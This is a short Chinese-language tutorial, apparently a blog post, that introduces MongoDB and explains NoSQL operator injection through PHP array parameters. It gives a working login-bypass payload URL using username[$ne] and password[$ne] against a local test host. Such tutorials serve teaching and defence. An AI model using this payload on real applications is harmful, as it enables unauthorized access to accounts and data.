mongodb查询语句_MongoDB注入

一、简介

MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

MongoDB 是一个介于关系数据库和非关系数据库之间的产品，是非关系数据库当中功能最丰富，最像关系数据库的。

二、注入

简单的语句执行，注入

这里我们有一个mongodb的数据库，数据库为test

执行了语句：

db.test.find({username:’test’,password:’test’});

如果此时传入的url如下:

http://127.0.0.1/index.php?username[xx]=test&password=test

则$username就是一个数组

而mongodb对于多维数组的解析使最终执行了如下语句：

db.test.find({username:{‘xx’:’test’},password:’test’});

利用此特性，我们可以传入数据，使数组的键名为一个操作符（大于，小于，等于，不等于等等），完成一些攻击者预期的查询。

http://172.16.1.238:83/index.php?username[$ne]=test&password[$ne]=test

因为传入的键名$ne正是一个mongodb操作符，最终执行了语句

db.test.find({username:{‘$ne’:’test’},password:{‘$ne’:’test’}});

​